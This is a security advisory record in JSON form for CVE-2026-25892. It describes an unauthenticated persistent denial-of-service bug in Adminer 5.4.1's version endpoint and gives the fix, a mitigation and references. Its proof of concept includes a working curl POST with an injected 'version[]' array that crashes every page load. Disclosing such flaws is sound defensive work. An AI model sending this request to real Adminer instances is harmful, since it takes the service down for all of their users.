{"id":"CVE-2026-25892","aliases":["GHSA-q4f2-39gr-45jh"],"url":"https://o3.security/vulnerability/CVE-2026-25892","summary":"Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint","details":"### Summary\nAdminer v5.4.1 has a version check mechanism where `adminer.org` sends signed version info via JavaScript postMessage, which the browser then POSTs to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, `openssl_verify()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users.\n\n### Fix\n\nUpgrade to Adminer 5.4.2.\n\n**Mitigation** (if you can't upgrade): Make file `adminer.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n\n**1. Intended design of `?script=version`:**\n\nThe endpoint is designed to receive version data from `adminer.org` via browser JavaScript:\n- `functions.js` line 102-117: Creates iframe to `https://www.adminer.org/version/`\n- Adminer.org sends signed version data via `postMessage`\n- JavaScript POSTs this to `?script=version`\n- Server stores in `/tmp/adminer.version` for signature verification\n\n```javascript\n// functions.js line 117\najax(url + 'script=version', () => { }, event.data + '&token=' + token);\n```\n\n**2. The vulnerability:**\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (no CSRF token check for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php line 32-40\nif ($_GET[\"script\"] == \"version\") {\n    $filename = get_temp_dir() . \"/adminer.version\";\n    @unlink($filename);\n    $fp = file_open_lock($filename);\n    if ($fp) {\n        file_write_unlock($fp, serialize(array(\"signature\" => $_POST[\"signature\"], \"version\" => $_POST[\"version\"])));\n    }\n    exit;\n}\n```\n\n**3. Type confusion crash:**\n\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When Adminer reads this file and passes to `openssl_verify()`:\n\n```php\n// design.inc.php line 75\nif (openssl_verify($version[\"version\"], base64_decode($version[\"signature\"]), $public) == 1) {\n```\n\nPHP 8.x throws:\n```\nTypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given\n```\n\n### PoC\n\n**Steps to Reproduce:**\n\n**Step 1:** Verify Adminer is running and accessible.\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8888/adminer-5.4.1.php\n```\nExpected output:\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n```bash\ncurl -X POST \"http://localhost:8888/adminer-5.4.1.php?script=version\" \\\n     -d \"signature=x&version[]=INJECTED\"\n```\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8888/adminer-5.4.1.php\n```\nExpected output:\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n```\nPHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n```bash\ncat /tmp/adminer.version\n```\nExpected output:\n```\na:2:{s:9:\"signature\";s:1:\"x\";s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n```bash\nrm /tmp/adminer.version\n```\nAfter deletion, Adminer returns HTTP 200.\n\n---\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from `adminer.org` via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `openssl_verify()`, this allows persistent DoS.\n\n**Affected users:** Any Adminer instance accessible over the network.","published":"2026-02-09T21:26:45.224Z","modified":"2026-08-12T03:51:10.787926380Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"vrana/adminer","fixedVersion":"5.4.2"}],"fix":{"url":"https://github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3","label":"vrana/adminer@21d3a31"},"references":[{"type":"WEB","url":"https://github.com/vrana/adminer/releases/tag/v5.4.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25892.json"},{"type":"ADVISORY","url":"https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25892"},{"type":"FIX","url":"https://github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3"},{"type":"PACKAGE","url":"https://github.com/vrana/adminer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:10.787926380Z"}}